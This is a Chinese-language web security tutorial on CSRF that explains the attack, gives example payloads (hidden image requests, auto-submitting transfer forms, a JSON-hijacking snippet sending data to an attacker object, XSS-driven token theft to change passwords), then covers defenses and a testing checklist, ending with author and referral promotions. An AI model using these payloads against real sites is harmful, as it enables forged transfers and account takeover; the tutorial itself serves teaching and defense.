CSRF漏洞:你的请求正在被第三方悄悄利用
CSRF漏洞:你的请求正在被第三方悄悄利用
作者:浅木·先生
来源:「浅木·先生」| 知识星球「软件测试成长圈」
所属专栏:《Web安全工程师进阶之路》
前言
CSRF(跨站请求伪造)是一个被很多人低估的漏洞。在渗透测试报告中,它往往被评为"中危"或"低危",因为它需要用户配合才能完成攻击。但实际上,CSRF配合其他漏洞使用,危害绝不亚于高危漏洞——攻击者可以强制用户修改密码、转账、删除数据,甚至通过XSS窃取Token绕过CSRF防护。
本文系统讲解CSRF的原理、利用方式和防御方案。
一、CSRF原理
1.1 什么是CSRF
CSRF(Cross-Site Request Forgery)是指攻击者诱导用户访问一个恶意页面,该页面利用用户已登录的身份,自动向目标网站发送伪造的请求。
关键点:用户不知道这个请求被发送了。
正常流程:
用户登录 bank.com → 获取Session/Cookie
用户转账给好友 → 浏览器自动带上Cookie → 转账成功
CSRF攻击流程:
用户登录 bank.com → 获取Session/Cookie
用户访问恶意网站(攻击者构造) → 自动发送伪造请求 → 钱被转走
1.2 与XSS的区别
| 漏洞 | 攻击原理 | 能否读取响应 |
|---|---|---|
| XSS | 在目标页面执行攻击者JS,窃取数据 | ✅ 能 |
| CSRF | 利用用户身份发送请求,但不读取响应 | ❌ 不能 |
CSRF只能"发出去",不能"拿回来"。
二、CSRF的利用方式
2.1 GET型CSRF
如果目标网站的敏感操作是通过GET请求完成的,直接构造一个IMG/IFRAME/SCRIPT标签即可:
<!-- 恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">
当用户访问这个页面时,浏览器自动请求这张图片(实际上是转账请求),带上Cookie,成功执行。
2.2 POST型CSRF
如果操作是POST请求,需要自动提交表单:
<html>
<body>
<form action="http://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
2.3 JSON劫持型CSRF
某些API返回JSON格式数据,可以通过覆盖数组构造函数来窃取:
<script>
function Array() {
// 重写Array,窃取JSON数据
attacker_server.log(this);
}
</script>
<script src="http://target.com/api/userinfo"></script>
三、CSRF实战利用
3.1 利用BurpSuite生成CSRF POC
BurpSuite Professional可以自动生成CSRF POC:
- 在BurpSuite中拦截请求
- 右键 → “Generate CSRF POC”
- 复制生成的HTML到恶意页面
- 诱导用户访问
3.2 绕过Token防护
很多网站会在表单中加入CSRF Token防护:
<form action="/change-password" method="POST">
<input type="password" name="new_password">
<input type="hidden" name="csrf_token" value="abc123xyz">
<button type="submit">修改密码</button>
</form>
绕过思路1:利用XSS获取Token
<script>
fetch('/api/current-user').then(r=>r.json()).then(data=>{
// 从JSON响应中提取token
let token = data.csrf_token;
// 发送CSRF请求
fetch('/change-password', {
method: 'POST',
body: 'csrf_token=' + token + '&new_password=hacked',
credentials: 'include'
});
});
</script>
绕过思路2:利用URL编码绕过某些验证
<!-- 某些WAF对token检查不严格 -->
<img src="http://target.com/action?token=a%26b=c">
<!-- %26是&的编码,可能绕过某些检查 -->
3.3 配合存储型XSS实现持久化CSRF
最危险的组合:存储型XSS + CSRF:
- 在目标网站发表一篇博客,嵌入CSRF Payload
- 所有访问该博客的用户,浏览器自动发送CSRF请求
- 如果该用户是管理员,自动修改后台设置、添加后门账号
四、CSRF防御方案
4.1 验证Referer/Origin头
// 服务端检查请求来源
$referer = $_SERVER['HTTP_REFERER'];
if (strpos($referer, 'target.com') === false) {
die("非法请求");
}
局限性: Referer头可以被篡改(部分浏览器),且用户可能关闭Referer发送。
4.2 CSRF Token(最佳方案)
// 生成Token(放在Session中)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// 表单中嵌入Token
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// 验证Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF验证失败");
}
4.3 验证码(用户体验差)
重要操作(转账、密码修改)加入验证码,但影响用户体验。
4.4 SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict
SameSite=Strict:Cookie完全不跨站发送SameSite=Lax:GET请求可发送,POST不行SameSite=None:不限制(需要配合Secure)
现代浏览器默认SameSite=Lax,对GET请求有一定防护。
五、CSRF测试清单
| 检查点 | 方法 |
|---|---|
| 关键操作是否都有Token | 删除Token后操作是否失败 |
| Token是否每次刷新 | 同一个Token能否重复使用 |
| 验证Referer头 | 伪造来源是否有效 |
| 验证码是否可靠 | 验证码是否能被识别 |
| 是否有XSS合并 | XSS能否读取Token |
总结
CSRF的核心是利用用户已登录的身份,伪造非用户本意的请求。
- GET型CSRF:构造IMG/SCRIPT标签
- POST型CSRF:自动提交表单
- 最强防御:CSRF Token + SameSite Cookie
配合XSS使用时,CSRF的威力会大幅提升,是渗透测试中不可忽视的一环。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以搜索关注「浅木·先生」,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈
💡 AI工具推荐
如果你在研究AI编程或大模型应用,以下工具值得关注:
- 硅基流动(主打大模型推理服务):https://cloud.siliconflow.cn/i/24s1PqPc
- WorkBuddy(腾讯龙虾旗下产品):https://www.codebuddy.cn/fission/?inviteCode=iw31adtaqqtgz899
- MonkeyCode AI(编程助手工具,新用户5000积分):https://monkeycode-ai.com/?ic=019ddc5b-009c-7370-86ba-c196753108c9
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)